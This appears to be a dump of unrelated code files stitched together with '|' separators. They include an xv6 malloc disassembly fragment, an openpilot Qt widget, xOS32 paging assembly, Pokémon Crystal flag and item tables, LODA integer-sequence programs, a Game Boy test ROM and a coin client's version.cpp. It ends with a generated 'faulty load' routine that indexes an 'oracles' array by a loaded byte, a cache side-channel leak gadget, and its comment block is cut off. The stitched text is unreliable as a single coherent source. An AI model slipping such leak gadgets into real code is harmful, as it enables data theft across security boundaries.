a1c: 29 f1 sub %esi,%ecx
a1e: 89 4a 04 mov %ecx,0x4(%edx)
p += p->s.size;
a21: 8d 14 ca lea (%edx,%ecx,8),%edx
p->s.size = nunits;
a24: 89 72 04 mov %esi,0x4(%edx)
freep = prevp;
a27: a3 60 0e 00 00 mov %eax,0xe60
}
a2c: 8d 65 f4 lea -0xc(%ebp),%esp
return (void*)(p + 1);
a2f: 8d 42 08 lea 0x8(%edx),%eax
}
a32: 5b pop %ebx
a33: 5e pop %esi
a34: 5f pop %edi
a35: 5d pop %ebp
a36: c3 ret
a37: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
a3e: 66 90 xchg %ax,%ax
base.s.ptr = freep = prevp = &base;
a40: c7 05 60 0e 00 00 64 movl $0xe64,0xe60
a47: 0e 00 00
base.s.size = 0;
a4a: bf 64 0e 00 00 mov $0xe64,%edi
base.s.ptr = freep = prevp = &base;
a4f: c7 05 64 0e 00 00 64 movl $0xe64,0xe64
a56: 0e 00 00
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
a59: 89 f8 mov %edi,%eax
base.s.size = 0;
a5b: c7 05 68 0e 00 00 00 movl $0x0,0xe68
a62: 00 00 00
if(p->s.size >= nunits){
a65: e9 36 ff ff ff jmp 9a0 <malloc+0x30>
a6a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
prevp->s.ptr = p->s.ptr;
a70: 8b 0a mov (%edx),%ecx
a72: 89 08 mov %ecx,(%eax)
a74: eb b1 jmp a27 <malloc+0xb7>
|
#include "selfdrive/ui/qt/widgets/timpilot.h"
#include <stdlib.h>
#include <stdio.h>
#include <iostream>
#include <thread>
#include <chrono>
#include <QComboBox>
#include <QAbstractItemView>
#include <QScroller>
#include <QListView>
#include <QListWidget>
#include "selfdrive/common/params.h"
#include "selfdrive/ui/qt/api.h"
#include "selfdrive/ui/qt/widgets/input.h"
#include "selfdrive/ui/ui.h"
static QStringList get_list(const char* path)
{
QStringList stringList;
QFile textFile(path);
if(textFile.open(QIODevice::ReadOnly))
{
QTextStream textStream(&textFile);
while (true)
{
QString line = textStream.readLine();
if (line.isNull())
break;
else
stringList.append(line);
}
}
return stringList;
}
ForceCarRecognition::ForceCarRecognition(QWidget* parent): QWidget(parent) {
QVBoxLayout* main_layout = new QVBoxLayout(this);
main_layout->setMargin(20);
main_layout->setSpacing(20);
QPushButton* back = new QPushButton("返回");
back->setObjectName("backBtn");
back->setFixedSize(500, 100);
connect(back, &QPushButton::clicked, [=]() { emit backPress(); });
main_layout->addWidget(back, 0, Qt::AlignLeft);
QListWidget* list = new QListWidget(this);
list->setStyleSheet("QListView {padding: 40px; background-color: #393939; border-radius: 15px; height: 140px;} QListView::item{height: 100px}");
QScroller::grabGesture(list->viewport(), QScroller::LeftMouseButtonGesture);
list->setVerticalScrollMode(QAbstractItemView::ScrollPerPixel);
list->addItem("[-未選擇-]");
QStringList items = get_list("/data/params/d/Cars");
list->addItems(items);
list->setCurrentRow(0);
QString set = QString::fromStdString(Params().get("CarModel"));
int index = 0;
for(QString item : items) {
if(set == item) {
list->setCurrentRow(index + 1);
break;
}
index++;
}
QObject::connect(list, QOverload<QListWidgetItem*>::of(&QListWidget::itemClicked),
[=](QListWidgetItem* item){
if(list->currentRow() == 0)
Params().remove("CarModel");
else
Params().put("CarModel", list->currentItem()->text().toStdString());
emit selectedCar();
});
main_layout->addWidget(list);
} |
;; xOS32
;; Copyright (C) 2016-2017 by Omar Mohammad.
use32
page_directory = 0x9C000
page_tables = 0x200000
PAGE_PRESENT = 0x01
PAGE_WRITEABLE = 0x02
PAGE_USER = 0x04
PAGE_NO_CACHE = 0x10
; vmm_init:
; Initializes the virtual memory manager and paging subsystem
vmm_init:
; first construct the page directory
mov edi, page_directory
mov ebx, page_tables
mov ecx, 1024
.dir_loop:
mov eax, ebx
or eax, PAGE_PRESENT OR PAGE_WRITEABLE OR PAGE_USER
stosd
add ebx, 4096
loop .dir_loop
; clear the page tables
mov edi, page_tables
mov eax, 0
mov ecx, 1024*1024
rep stosd
; construct the page tables
mov edi, page_tables
mov ebx, 0
mov ecx, 2048 ; identity map the lowest 8 MB
.table_loop:
mov eax, ebx
or eax, PAGE_PRESENT OR PAGE_WRITEABLE
stosd
add ebx, 4096
loop .table_loop
mov edi, page_tables
mov eax, 0
stosd
mov eax, VBE_PHYSICAL_BUFFER
mov ebx, [screen.framebuffer]
mov ecx, 2048
mov dl, PAGE_PRESENT OR PAGE_WRITEABLE
call vmm_map_memory
; finally enable paging!
mov eax, page_directory
mov cr3, eax
mov eax, cr0
and eax, 0x1FFFFFFF ; enable caching
and eax, not 0x10000 ; disable write-protection
or eax, 0x80000000 ; enable paging
mov cr0, eax
ret
; vmm_map_memory:
; Maps memory into the virtual address space
; In\ EAX = Virtual address
; In\ EBX = Physical address
; In\ ECX = Page count
; In\ DL = Flags
; Out\ Nothing
align 32
vmm_map_memory:
pusha
and eax, 0xFFFFF000
mov [.virtual], eax
mov [.physical], ebx
mov [.count], ecx
mov [.flags], dl
mov edi, [.virtual]
shr edi, 10
add edi, page_tables
mov ebx, [.physical]
mov ecx, [.count]
movzx edx, [.flags]
.loop:
mov eax, ebx
or eax, edx
stosd
add ebx, 4096
loop .loop
; next we need to flush the TLB
mov eax, [.virtual]
mov ecx, [.count]
.tlb_loop:
invlpg [eax]
add eax, 4096
loop .tlb_loop
popa
ret
align 4
.virtual dd 0
.physical dd 0
.count dd 0
.flags db 0
; vmm_unmap_memory:
; Unmaps memory from the virtual address space
; In\ EAX = Virtual address
; In\ ECX = Count
; Out\ Nothing
align 32
vmm_unmap_memory:
and eax, 0xFFFFF000
mov ebx, 0
mov dl, 0
call vmm_map_memory
ret
; vmm_get_page:
; Gets the physical address and flags of a page
; In\ EAX = Virtual address
; Out\ EAX = 4k-aligned Physical address
; Out\ DL = Page flags
align 32
vmm_get_page:
and eax, 0xFFFFF000
shr eax, 10
add eax, page_tables
mov eax, [eax]
mov edx, eax
and eax, 0xFFFFF000
and edx, 0xFF
ret
; virtual_to_physical:
; Converts a virtual address to physical address
; In\ EAX = Virtual address
; Out\ EAX = Physical address
align 32
virtual_to_physical:
push eax
call vmm_get_page
pop ebx
and ebx, 0xFFF
add eax, ebx
ret
; vmm_alloc_pages:
; Allocates virtual memory
; In\ EAX = Starting address
; In\ ECX = Page count
; Out\ EAX = Address of free virtual memory, unmapped, 0 on error
align 32
vmm_alloc_pages:
mov [.return], eax
mov [.tmp], eax
mov [.count], ecx
mov [.free_pages], 0
.loop:
mov eax, [.tmp]
call vmm_get_page
test dl, 1
jnz .next
add [.tmp], 4096
inc [.free_pages]
mov ecx, [.count]
cmp [.free_pages], ecx
jge .done
jmp .loop
.next:
add [.return], 4096
mov eax, [.return]
mov [.tmp], eax
mov [.free_pages], 0
jmp .loop
.no:
mov eax, 0
ret
.done:
mov eax, [.return]
ret
align 4
.return dd 0
.tmp dd 0
.count dd 0
.free_pages dd 0
; vmm_alloc:
; Allocates memory
; In\ EAX = Starting address
; In\ ECX = Pages
; In\ DL = Page flags
; Out\ EAX = Memory address, 0 on error
align 32
vmm_alloc:
mov [.count], ecx
mov [.flags], dl
; allocate virtual memory
call vmm_alloc_pages
cmp eax, 0
je .no
mov [.return], eax
; and physical memory of course
mov ecx, [.count]
call pmm_alloc
cmp eax, 0
je .no
mov [.physical], eax
; now map the memory ;)
mov eax, [.return]
mov ebx, [.physical]
mov ecx, [.count]
mov dl, [.flags]
call vmm_map_memory
; always initialize memory to zero to be safe!
mov edi, [.return]
mov eax, 0
mov ecx, [.count]
shl ecx, 12
rep stosb
mov eax, [.return]
ret
.no:
mov eax, 0
ret
align 4
.return dd 0
.physical dd 0
.count dd 0
.flags db 0
; vmm_free:
; Frees virtual memory
; In\ EAX = Address
; In\ ECX = Pages to free
; Out\ Nothing
align 32
vmm_free:
mov [.address], eax
mov [.count], ecx
; free the physical memory first
call vmm_get_page
test dl, 1
jz .quit
mov ecx, [.count]
call pmm_free
mov eax, [.address]
mov ecx, [.count]
call vmm_unmap_memory
.quit:
ret
align 4
.address dd 0
.count dd 0
|
; EngineFlags indexes (see engine/engine_flags.asm)
const_def
; wPokegearFlags
const ENGINE_RADIO_CARD
const ENGINE_MAP_CARD
const ENGINE_PHONE_CARD
const ENGINE_EXPN_CARD
const ENGINE_POKEGEAR
; wDayCareMan
const ENGINE_DAY_CARE_MAN_HAS_EGG
const ENGINE_DAY_CARE_MAN_HAS_MON
; wDayCareLady
const ENGINE_DAY_CARE_LADY_HAS_MON
; wMomSavingMoney
const ENGINE_MOM_SAVING_MONEY
const ENGINE_MOM_ACTIVE
; wUnusedTwoDayTimerOn
const ENGINE_0A
; wStatusFlags
const ENGINE_POKEDEX
const ENGINE_UNOWN_DEX
const ENGINE_CAUGHT_POKERUS
const ENGINE_ROCKET_SIGNAL_ON_CH20
const ENGINE_CREDITS_SKIP
const ENGINE_MAIN_MENU_MOBILE_CHOICES ; 10
; wStatusFlags2
const ENGINE_BUG_CONTEST_TIMER
const ENGINE_SAFARI_ZONE
const ENGINE_ROCKETS_IN_RADIO_TOWER
const ENGINE_BIKE_SHOP_CALL_ENABLED
const ENGINE_15
const ENGINE_REACHED_GOLDENROD
const ENGINE_ROCKETS_IN_MAHOGANY
; wBikeFlags
const ENGINE_STRENGTH_ACTIVE
const ENGINE_ALWAYS_ON_BIKE
const ENGINE_DOWNHILL
; wJohtoBadges
const ENGINE_ZEPHYRBADGE
const ENGINE_HIVEBADGE
const ENGINE_PLAINBADGE
const ENGINE_FOGBADGE
const ENGINE_MINERALBADGE
const ENGINE_STORMBADGE ; 20
const ENGINE_GLACIERBADGE
const ENGINE_RISINGBADGE
; wKantoBadges
const ENGINE_BOULDERBADGE
const ENGINE_CASCADEBADGE
const ENGINE_THUNDERBADGE
const ENGINE_RAINBOWBADGE
const ENGINE_SOULBADGE
const ENGINE_MARSHBADGE
const ENGINE_VOLCANOBADGE
const ENGINE_EARTHBADGE
; wUnlockedUnowns
const ENGINE_UNLOCKED_UNOWNS_A_TO_K
const ENGINE_UNLOCKED_UNOWNS_L_TO_R
const ENGINE_UNLOCKED_UNOWNS_S_TO_W
const ENGINE_UNLOCKED_UNOWNS_X_TO_Z
const ENGINE_UNLOCKED_UNOWNS_UNUSED_4
const ENGINE_UNLOCKED_UNOWNS_UNUSED_5 ; 30
const ENGINE_UNLOCKED_UNOWNS_UNUSED_6
const ENGINE_UNLOCKED_UNOWNS_UNUSED_7
; wVisitedSpawns
const ENGINE_FLYPOINT_PLAYERS_HOUSE
const ENGINE_FLYPOINT_VIRIDIAN_POKECENTER
const ENGINE_FLYPOINT_PALLET
const ENGINE_FLYPOINT_VIRIDIAN
const ENGINE_FLYPOINT_PEWTER
const ENGINE_FLYPOINT_CERULEAN
const ENGINE_FLYPOINT_ROCK_TUNNEL
const ENGINE_FLYPOINT_VERMILION
const ENGINE_FLYPOINT_LAVENDER
const ENGINE_FLYPOINT_SAFFRON
const ENGINE_FLYPOINT_CELADON
const ENGINE_FLYPOINT_FUCHSIA
const ENGINE_FLYPOINT_CINNABAR
const ENGINE_FLYPOINT_INDIGO_PLATEAU ; 40
const ENGINE_FLYPOINT_NEW_BARK
const ENGINE_FLYPOINT_BATTLE_TOWER
; wLuckyNumberShowFlag
const ENGINE_LUCKY_NUMBER_SHOW
; wStatusFlags2
const ENGINE_4F
; wDailyFlags1
const ENGINE_KURT_MAKING_BALLS ; 50
const ENGINE_DAILY_BUG_CONTEST
const ENGINE_FISH_SWARM
const ENGINE_TIME_CAPSULE
const ENGINE_ALL_FRUIT_TREES
const ENGINE_GOT_SHUCKIE_TODAY
const ENGINE_GOLDENROD_UNDERGROUND_MERCHANT_CLOSED
const ENGINE_FOUGHT_IN_TRAINER_HALL_TODAY
; wDailyFlags2
const ENGINE_MT_MOON_SQUARE_CLEFAIRY
const ENGINE_UNION_CAVE_LAPRAS
const ENGINE_GOLDENROD_UNDERGROUND_GOT_HAIRCUT
const ENGINE_GOLDENROD_DEPT_STORE_TM27_RETURN
const ENGINE_DAISYS_GROOMING
const ENGINE_INDIGO_PLATEAU_RIVAL_FIGHT
const ENGINE_DAILY_MOVE_TUTOR
const ENGINE_BUENAS_PASSWORD
; wSwarmFlags
const ENGINE_BUENAS_PASSWORD_2 ; 60
const ENGINE_GOLDENROD_DEPT_STORE_SALE_IS_ON
; wGameTimerPause
const ENGINE_62
; wPlayerGender
const ENGINE_PLAYER_IS_FEMALE
; wCelebiEvent
const ENGINE_FOREST_IS_RESTLESS
; wDailyRematchFlags
const ENGINE_JACK
const ENGINE_HUEY
const ENGINE_GAVEN
const ENGINE_BETH
const ENGINE_JOSE
const ENGINE_REENA
const ENGINE_JOEY
const ENGINE_WADE
const ENGINE_RALPH
const ENGINE_LIZ
const ENGINE_ANTHONY
const ENGINE_TODD ; 70
const ENGINE_GINA
const ENGINE_ARNIE
const ENGINE_ALAN
const ENGINE_DANA
const ENGINE_CHAD
const ENGINE_TULLY
const ENGINE_BRENT
const ENGINE_TIFFANY
const ENGINE_VANCE
const ENGINE_WILTON
const ENGINE_PARRY
const ENGINE_ERIN
; wDailyPhoneItemFlags
const ENGINE_BEVERLY_HAS_NUGGET
const ENGINE_JOSE_HAS_STAR_PIECE
const ENGINE_WADE_HAS_ITEM
const ENGINE_GINA_HAS_LEAF_STONE ; 80
const ENGINE_ALAN_HAS_FIRE_STONE
const ENGINE_DANA_HAS_THUNDERSTONE
const ENGINE_DEREK_HAS_NUGGET
const ENGINE_TULLY_HAS_WATER_STONE
const ENGINE_TIFFANY_HAS_PINK_BOW
const ENGINE_WILTON_HAS_ITEM
; wDailyPhoneTimeOfDayFlags
const ENGINE_JACK_MONDAY_MORNING
const ENGINE_HUEY_WEDNESDAY_NIGHT
const ENGINE_GAVEN_THURSDAY_MORNING
const ENGINE_BETH_FRIDAY_AFTERNOON
const ENGINE_JOSE_SATURDAY_NIGHT
const ENGINE_REENA_SUNDAY_MORNING
const ENGINE_JOEY_MONDAY_AFTERNOON
const ENGINE_WADE_TUESDAY_NIGHT
const ENGINE_RALPH_WEDNESDAY_MORNING
const ENGINE_LIZ_THURSDAY_AFTERNOON ; 90
const ENGINE_ANTHONY_FRIDAY_NIGHT
const ENGINE_TODD_SATURDAY_MORNING
const ENGINE_GINA_SUNDAY_AFTERNOON
const ENGINE_ARNIE_TUESDAY_MORNING
const ENGINE_ALAN_WEDNESDAY_AFTERNOON
const ENGINE_DANA_THURSDAY_NIGHT
const ENGINE_CHAD_FRIDAY_MORNING
const ENGINE_TULLY_SUNDAY_NIGHT
const ENGINE_BRENT_MONDAY_MORNING
const ENGINE_TIFFANY_TUESDAY_AFTERNOON
const ENGINE_VANCE_WEDNESDAY_NIGHT
const ENGINE_WILTON_THURSDAY_MORNING
const ENGINE_PARRY_FRIDAY_AFTERNOON
const ENGINE_ERIN_SATURDAY_NIGHT
; wPlayerSpriteSetupFlags
const ENGINE_KRIS_IN_CABLE_CLUB
; wSwarmFlags
const ENGINE_DUNSPARCE_SWARM ; a0
const ENGINE_YANMA_SWARM
NUM_ENGINE_FLAGS EQU const_value
|
ItemNames::
db "MASTER BALL@"
db "ULTRA BALL@"
db "BRIGHTPOWDER@"
db "GREAT BALL@"
db "# BALL@"
db "TOWN MAP@"
db "BICYCLE@"
db "MOON STONE@"
db "ANTIDOTE@"
db "BURN HEAL@"
db "ICE HEAL@"
db "AWAKENING@"
db "PARLYZ HEAL@"
db "FULL RESTORE@"
db "MAX POTION@"
db "HYPER POTION@"
db "SUPER POTION@"
db "POTION@"
db "ESCAPE ROPE@"
db "REPEL@"
db "MAX ELIXER@"
db "FIRE STONE@"
db "THUNDERSTONE@"
db "WATER STONE@"
db "HONEY POT@"
db "HP UP@"
db "PROTEIN@"
db "IRON@"
db "CARBOS@"
db "LUCKY PUNCH@"
db "CALCIUM@"
db "RARE CANDY@"
db "X ACCURACY@"
db "LEAF STONE@"
db "METAL POWDER@"
db "NUGGET@"
db "# DOLL@"
db "FULL HEAL@"
db "REVIVE@"
db "MAX REVIVE@"
db "GUARD SPEC.@"
db "SUPER REPEL@"
db "MAX REPEL@"
db "DIRE HIT@"
db "OAKS PARCEL@"
db "FRESH WATER@"
db "SODA POP@"
db "LEMONADE@"
db "X ATTACK@"
db "SNAKESKIN@"
db "X DEFEND@"
db "X SPEED@"
db "X SPECIAL@"
db "COIN CASE@"
db "ITEMFINDER@"
db "TERU-SAMA@"
db "EXP.SHARE@"
db "OLD ROD@"
db "GOOD ROD@"
db "SILVER LEAF@"
db "SUPER ROD@"
db "PP UP@"
db "ETHER@"
db "MAX ETHER@"
db "ELIXER@"
db "RED SCALE@"
db "SECRETPOTION@"
db "S.S.TICKET@"
db "ELM'S EGG@"
db "CLEAR BELL@"
db "SILVER WING@"
db "MOOMOO MILK@"
db "QUICK CLAW@"
db "PSNCUREBERRY@"
db "GOLD LEAF@"
db "SOFT SAND@"
db "SHARP BEAK@"
db "PRZCUREBERRY@"
db "BURNT BERRY@"
db "ICE BERRY@"
db "POISON BARB@"
db "KING'S ROCK@"
db "BITTER BERRY@"
db "MINT BERRY@"
db "RED APRICORN@"
db "TINYMUSHROOM@"
db "BIG MUSHROOM@"
db "SILVERPOWDER@"
db "BLU APRICORN@"
db "TERU-SAMA@"
db "AMULET COIN@"
db "YLW APRICORN@"
db "GRN APRICORN@"
db "CLEANSE TAG@"
db "MYSTIC WATER@"
db "TWISTEDSPOON@"
db "WHT APRICORN@"
db "BLACKBELT@"
db "BLK APRICORN@"
db "TERU-SAMA@"
db "PNK APRICORN@"
db "BLACKGLASSES@"
db "SLOWPOKETAIL@"
db "PINK BOW@"
db "STICK@"
db "SMOKE BALL@"
db "NEVERMELTICE@"
db "MAGNET@"
db "MIRACLEBERRY@"
db "PEARL@"
db "BIG PEARL@"
db "EVERSTONE@"
db "SPELL TAG@"
db "RAGECANDYBAR@"
db "GS BALL@"
db "BLUE CARD@"
db "MIRACLE SEED@"
db "THICK CLUB@"
db "FOCUS BAND@"
db "TERU-SAMA@"
db "ENERGYPOWDER@"
db "ENERGY ROOT@"
db "HEAL POWDER@"
db "REVIVAL HERB@"
db "HARD STONE@"
db "LUCKY EGG@"
db "CARD KEY@"
db "MACHINE PART@"
db "EGG TICKET@"
db "LOST ITEM@"
db "STARDUST@"
db "STAR PIECE@"
db "BASEMENT KEY@"
db "PASS@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "CHARCOAL@"
db "BERRY JUICE@"
db "SCOPE LENS@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "METAL COAT@"
db "DRAGON FANG@"
db "TERU-SAMA@"
db "LEFTOVERS@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "MYSTERYBERRY@"
db "DRAGON SCALE@"
db "BERSERK GENE@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "SACRED ASH@"
db "HEAVY BALL@"
db "FLOWER MAIL@"
db "LEVEL BALL@"
db "LURE BALL@"
db "FAST BALL@"
db "TERU-SAMA@"
db "LIGHT BALL@"
db "FRIEND BALL@"
db "MOON BALL@"
db "LOVE BALL@"
db "NORMAL BOX@"
db "GORGEOUS BOX@"
db "SUN STONE@"
db "POLKADOT BOW@"
db "TERU-SAMA@"
db "UP-GRADE@"
db "BERRY@"
db "GOLD BERRY@"
db "SQUIRTBOTTLE@"
db "TERU-SAMA@"
db "PARK BALL@"
db "RAINBOW WING@"
db "TERU-SAMA@"
db "BRICK PIECE@"
db "SURF MAIL@"
db "LITEBLUEMAIL@"
db "PORTRAITMAIL@"
db "LOVELY MAIL@"
db "EON MAIL@"
db "MORPH MAIL@"
db "BLUESKY MAIL@"
db "MUSIC MAIL@"
db "MIRAGE MAIL@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "TERU-SAMA@"
db "?@"
|
SECTION code_clib
SECTION code_fp_am9511
PUBLIC derror_einval_zc
EXTERN asm_am9511_derror_einval_zc
defc derror_einval_zc = asm_am9511_derror_einval_zc
|
; A267924: Decimal representation of the n-th iteration of the "Rule 245" elementary cellular automaton starting with a single ON (black) cell.
; 1,3,27,123,507,2043,8187,32763,131067,524283,2097147,8388603,33554427,134217723,536870907,2147483643,8589934587,34359738363,137438953467,549755813883,2199023255547,8796093022203,35184372088827,140737488355323,562949953421307,2251799813685243,9007199254740987,36028797018963963,144115188075855867,576460752303423483,2305843009213693947,9223372036854775803,36893488147419103227,147573952589676412923,590295810358705651707,2361183241434822606843,9444732965739290427387,37778931862957161709563,151115727451828646838267,604462909807314587353083,2417851639229258349412347,9671406556917033397649403,38685626227668133590597627,154742504910672534362390523,618970019642690137449562107,2475880078570760549798248443,9903520314283042199192993787,39614081257132168796771975163,158456325028528675187087900667,633825300114114700748351602683,2535301200456458802993406410747,10141204801825835211973625643003,40564819207303340847894502572027,162259276829213363391578010288123,649037107316853453566312041152507,2596148429267413814265248164610043,10384593717069655257060992658440187,41538374868278621028243970633760763,166153499473114484112975882535043067,664613997892457936451903530140172283
mov $1,4
pow $1,$0
trn $1,3
mul $1,2
add $1,1
mov $0,$1
|
; A057552: a(n) = Sum_{k=0..n} C(2k+2,k).
; 1,5,20,76,286,1078,4081,15521,59279,227239,873885,3370029,13027729,50469889,195892564,761615284,2965576714,11563073314,45141073924,176423482324,690215089744,2702831489824,10593202603774,41550902139550,163099562175850,640650742051802,2518056616783910
mov $2,$0
add $2,1
mov $3,$0
lpb $2
mov $0,$3
sub $2,1
sub $0,$2
mov $4,$0
mul $4,2
add $4,2
bin $4,$0
add $1,$4
lpe
|
; A160651: a(n) is the number of triangular nonnegative integers that are each equal to n(n+1)/2 - m(m+1)/2, for some m's where 0 <= m <= n.
; 1,2,2,3,2,2,4,2,4,2,4,4,2,4,2,4,4,2,4,2,3,6,2,8,2,2,4,4,8,2,2,4,2,4,2,2,8,4,4,2,4,8,2,4,4,4,6,2,4,6,2,4,4,6,4,4,4,4,6,4,2,8,4,4,4,2,8,4,4,2,2,6,2,4,4,4,4,4,12,2,4,4,2,4,2,2,8,2,8,4,2,8,4,8,4,8,8,2,4,2
mul $0,2
seq $0,147810 ; Half the number of divisors of n^2+1.
|
.size 8000
.text@48
ei
jp lstatint
.text@100
jp lbegin
.data@143
c0
.text@150
lbegin:
ld a, 00
ldff(ff), a
ld a, 30
ldff(00), a
ld a, 01
ldff(4d), a
stop, 00
ld c, 44
ld b, 90
lbegin_waitly90:
ldff a, (c)
cmp a, b
jrnz lbegin_waitly90
ld a, 11
ldff(40), a
ld hl, 8000
ld b, 08
lbegin_settile0data:
ld a, 00
ld(hl++), a
ld a, 7e
ld(hl++), a
dec b
jrnz lbegin_settile0data
ld b, 08
lbegin_settile1data:
ld a, 00
ld(hl++), a
ld a, 81
ld(hl++), a
dec b
jrnz lbegin_settile1data
ld b, 08
lbegin_settile2data:
ld a, ff
ld(hl++), a
ld a, 81
ld(hl++), a
dec b
jrnz lbegin_settile2data
ld b, 08
lbegin_settile3data:
ld a, ff
ld(hl++), a
ld a, 7e
ld(hl++), a
dec b
jrnz lbegin_settile3data
ld c, 12
ld hl, 9800
lbegin_set_bgmap:
ld b, 06
ld a, 02
lbegin_set_bgmapline_tilenos0to11:
ld(hl++), a
inc a
ld(hl++), a
dec a
dec b
jrnz lbegin_set_bgmapline_tilenos0to11
ld b, 0a
lbegin_set_bgmapline_tilenos12to31:
xor a, a
ld(hl++), a
inc a
ld(hl++), a
dec b
jrnz lbegin_set_bgmapline_tilenos12to31
dec c
jrnz lbegin_set_bgmap
ld a, e4
ldff(47), a
ld a, 80
ldff(68), a
ld c, 69
xor a, a
ldff(c), a
ldff(c), a
ld a, 94
ldff(c), a
ld a, 52
ldff(c), a
ld a, 08
ldff(c), a
ld a, 21
ldff(c), a
ld a, ff
ldff(c), a
ldff(c), a
ld a, 20
ldff(41), a
ld a, 02
ldff(ff), a
ld c, 43
ld a, 91
ldff(40), a
ei
ld a, 03
.text@1000
lstatint:
ldff(c), a
ld a, 63
.text@1024
ldff(c), a
pop hl
ld a, c0
.text@1064
ldff(c), a
ld a, 03
|
// Copyright (c) 2009-2010 Satoshi Nakamoto
// Copyright (c) 2009-2014 The Bitcoin developers
// Copyright (c) 2012-2015 The PPCoin developers
// Copyright (c) 2013-2017 The Novacoin
// Copyright (c) 2014-2015 The BDSM COIN(BDSM) & Fetish Coin(FETISH) developers
// Copyright (c) 2014-2017 The BDSM-FETISH(WHIPPED) developers
// Copyright (c) 2018 The BDSM-FETISH(CTRL) developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <string>
#include "version.h"
// Name of client reported in the 'version' message. Report the same name
// for both bitcoind and bitcoin-qt, to make it harder for attackers to
// target servers or GUI users specifically.
const std::string CLIENT_NAME("Satoshi");
// Client version number
#define CLIENT_VERSION_SUFFIX "-f1n63r-testing"
// The following part of the code determines the CLIENT_BUILD variable.
// Several mechanisms are used for this:
// * first, if HAVE_BUILD_INFO is defined, include build.h, a file that is
// generated by the build environment, possibly containing the output
// of git-describe in a macro called BUILD_DESC
// * secondly, if this is an exported version of the code, GIT_ARCHIVE will
// be defined (automatically using the export-subst git attribute), and
// GIT_COMMIT will contain the commit id.
// * then, three options exist for determining CLIENT_BUILD:
// * if BUILD_DESC is defined, use that literally (output of git-describe)
// * if not, but GIT_COMMIT is defined, use v[maj].[min].[rev].[build]-g[commit]
// * otherwise, use v[maj].[min].[rev].[build]-unk
// finally CLIENT_VERSION_SUFFIX is added
// First, include build.h if requested
#ifdef HAVE_BUILD_INFO
# include "build.h"
#endif
// git will put "#define GIT_ARCHIVE 1" on the next line inside archives.
#define GIT_ARCHIVE 1
#ifdef GIT_ARCHIVE
# define GIT_COMMIT_ID ""
# define GIT_COMMIT_DATE ""
#endif
#define BUILD_DESC_FROM_COMMIT(maj,min,rev,build,commit) \
"v" DO_STRINGIZE(maj) "." DO_STRINGIZE(min) "." DO_STRINGIZE(rev) "." DO_STRINGIZE(build) "" commit
#define BUILD_DESC_FROM_UNKNOWN(maj,min,rev,build) \
"v" DO_STRINGIZE(maj) "." DO_STRINGIZE(min) "." DO_STRINGIZE(rev) "." DO_STRINGIZE(build) ""
#ifndef BUILD_DESC
# ifdef GIT_COMMIT_ID
# define BUILD_DESC BUILD_DESC_FROM_COMMIT(CLIENT_VERSION_MAJOR, CLIENT_VERSION_MINOR, CLIENT_VERSION_REVISION, CLIENT_VERSION_BUILD, GIT_COMMIT_ID)
# else
# define BUILD_DESC BUILD_DESC_FROM_UNKNOWN(CLIENT_VERSION_MAJOR, CLIENT_VERSION_MINOR, CLIENT_VERSION_REVISION, CLIENT_VERSION_BUILD)
# endif
#endif
#ifndef BUILD_DATE
# ifdef GIT_COMMIT_DATE
# define BUILD_DATE GIT_COMMIT_DATE
# else
# define BUILD_DATE __DATE__ ", " __TIME__
# endif
#endif
const std::string CLIENT_BUILD(BUILD_DESC CLIENT_VERSION_SUFFIX);
const std::string CLIENT_DATE(BUILD_DATE);
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r15
push %r8
push %rax
push %rbp
// Store
lea addresses_A+0x1746c, %r15
nop
nop
nop
nop
cmp $58837, %r10
movw $0x5152, (%r15)
nop
nop
nop
nop
nop
add %r8, %r8
// Faulty Load
lea addresses_RW+0x11d6c, %rax
nop
nop
nop
cmp $31880, %r12
movb (%rax), %r10b
lea oracles, %r11
and $0xff, %r10
shlq $12, %r10
mov (%r11,%r10,1), %r10
pop %rbp
pop %rax
pop %r8
pop %r15
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 5}}
[Faulty Load]
